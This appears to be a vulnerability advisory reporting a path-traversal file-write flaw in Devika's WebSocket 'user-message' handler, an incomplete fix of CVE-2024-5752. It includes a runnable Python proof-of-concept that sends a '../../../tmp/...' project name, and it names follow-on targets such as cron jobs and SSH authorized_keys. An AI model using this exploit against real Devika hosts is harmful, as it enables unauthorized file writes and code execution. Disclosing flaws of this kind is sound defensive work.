[Security] Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized `project_name` in WebSocket API
Advisory Details
Title: Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized project_name in WebSocket API
Description:
Summary
Devika suffers from a critical path traversal vulnerability in its WebSocket API. An incomplete fix for CVE-2024-5752 correctly sanitized the project_name parameter on HTTP REST API endpoints but failed to apply the same secure_filename() sanitization to the user-message WebSocket event handler. This allows an unauthenticated attacker to inject ../ sequences into the project name, deceiving the AI agent's file-saving logic into writing arbitrary files (including executable code or configurations) outside the intended data/projects/ directory, resulting in Remote Code Execution (RCE).
Details
Devika's architecture relies heavily on WebSocket connections for real-time interaction with its underlying AI agents. When a client sends a message to the agent, the payload is handled by the user-message event listener in devika.py.
In devika.py lines 82-90, the project_name is extracted directly from the incoming SocketIO data dictionary and passed directly to the Agent.execute() thread without any sanitization:
@socketio.on('user-message')
def handle_message(data):
# ...
project_name = data.get('project_name') # MISSING: secure_filename()
# ...
agent = Agent(base_model=base_model, search_engine=search_engine)
# ...
thread = Thread(target=lambda: agent.execute(message, project_name))This unsanitized string flows directly into src/agents/coder/coder.py, where the AI agent attempts to save its generated source code:
def save_code_to_project(self, response: List[Dict[str, str]], project_name: str):
file_path_dir = None
project_name = project_name.lower().replace(" ", "-") # Insufficient sanitization
for file in response:
file_path = os.path.join(self.project_dir, project_name, file['file'])
# ...
with open(file_path, "w", encoding="utf-8") as f:
f.write(file["code"])Because os.path.join natively resolves relative traversal strings, providing a project_name like ../../../tmp/pwned will escape self.project_dir (which defaults to data/projects), resulting in arbitrary file writes on the host system.
PoC
- Start the Devika backend (
python3 devika.py). It binds to port 1337 by default. - Ensure you have the
python-socketiopackage installed (pip install "python-socketio[client]"). - Create the following exploit script
exploit.py:
import socketio
import time
sio = socketio.Client()
@sio.event
def connect():
print("[+] Connected to Devika WebSocket API")
# Emit malicious payload breaking out of data/projects/
sio.emit('user-message', {
'message': "Create a hello world python script",
'base_model': 'GPT-4o',
'project_name': '../../../tmp/pwned_project_name_test',
'search_engine': 'duckduckgo'
})
time.sleep(10)
sio.disconnect()
sio.connect('http://127.0.0.1:1337')
sio.wait()- Run the exploit using
python3 exploit.py. - Check your
/tmp/directory (or equivalent relative path outside Devika). The agent will have generated the code and dropped the python script into the arbitrary location:ls -la /tmp/pwned_project_name_test.
Log of Evidence
$ python3 exploit.py
[+] Connected to Devika WebSocket API
# Backend Log Execution:
26.03.06 12:03:33: root: INFO : User message: {'message': 'Create a hello world app', 'base_model': 'GPT-4o', 'project_name': '../../../tmp/pwned_project_name_test'}
[*] Agent thread started for project: ../../../tmp/pwned_project_name_test
...
[Agent logic evaluates and writes file...]
# Victim Host File System:
$ ls -la /root/llm-project/tmp/pwned_project_name_test/pwned.txt
-rw-r--r-- 1 root root 31 Mar 6 12:03 pwned.txtImpact
Arbitrary File Write leading to Remote Code Execution (RCE). An attacker can supply a malicious project_name to overwrite cron jobs (/etc/cron.d/), overwrite SSH keys (~/.ssh/authorized_keys), or plant malicious startup scripts. Since the WebSocket server completely lacks origin protection (cors_allowed_origins="*"), this can even be executed by a malicious website visited by a developer running Devika locally.
Affected products
- Ecosystem: python
- Package name: stitionai/devika
- Affected versions: All versions (e.g., latest
d6a096c) - Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
- CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Occurrences
| Permalink | Description |
|---|---|
| https://github.com/stitionai/devika/blob/main/devika.py#L82 | The user-message WebSocket handler extracting the unsanitized project_name. |
| https://github.com/stitionai/devika/blob/main/src/agents/coder/coder.py#L68-L73 | The Coder sink performing the unsafe file path concatenation using os.path.join(). |
| https://github.com/stitionai/devika/blob/main/src/documenter/pdf.py#L13-L16 | The PDF sink performing unsafe PDF file path concatenation based on the same parameter. |
Source: stitionai/devika